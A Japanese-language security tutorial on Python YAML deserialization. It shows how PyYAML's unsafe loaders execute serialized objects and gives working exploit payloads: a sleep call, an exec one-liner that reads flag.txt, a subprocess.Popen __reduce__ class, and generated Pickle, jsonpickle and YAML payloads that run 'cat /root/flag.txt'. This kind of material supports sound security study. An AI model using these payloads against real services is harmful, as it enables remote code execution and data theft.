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Yaml Deserialization

Yaml python ライブラリは、生データだけでなく Pythonオブジェクトをシリアライズ することもできます。

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

タプルが生のデータ型ではないため、シリアル化されました。そして同じことがrange(組み込みから取得)でも起こりました。

**safe_load()またはsafe_load_all()**はSafeLoaderを使用し、クラスオブジェクトの逆シリアル化をサポートしていません。クラスオブジェクトの逆シリアル化の例:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

前のコードでは、シリアル化されたPythonクラスをロードするためにunsafe_loadが使用されていました。これは、version >= 5.1では、load()内でLoaderが指定されていないかLoader=SafeLoaderとなっていない限り、シリアル化されたPythonクラスやクラス属性をデシリアライズすることができないためです。

基本的なエクスプロイト

sleepを実行する例

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

脆弱な.load("<content>") ローダーなし

pyyamlの古いバージョンは、何かをロードする際にローダーを指定しなかった場合、逆シリアル化攻撃の脆弱性がありました: yaml.load(data)

脆弱性の説明はこちら** で見つけることができます。** そのページで提案されている攻撃は次のとおりです:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

または、@ishaackが提供するこのワンライナーを使用することもできます:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

最近のバージョンでは、Loaderなしで.load()を呼び出すことはできなくなりました。また、FullLoaderはこの攻撃に対して脆弱ではなくなりました。

RCE

PyYAMLruamel.yamlなどのPython YAMLモジュールを使用してカスタムペイロードを作成できます。これらのペイロードは、適切なサニタイズを行わずに信頼できない入力をデシリアライズするシステムの脆弱性を悪用することができます。

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

ペイロードを作成するツール

ツールhttps://github.com/j0lt-github/python-deserialization-attack-payload-generatorは、Pickle、PyYAML、jsonpickle、およびruamel.yamlを悪用するためのPython逆シリアル化ペイロードを生成するために使用できます。

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

参考文献

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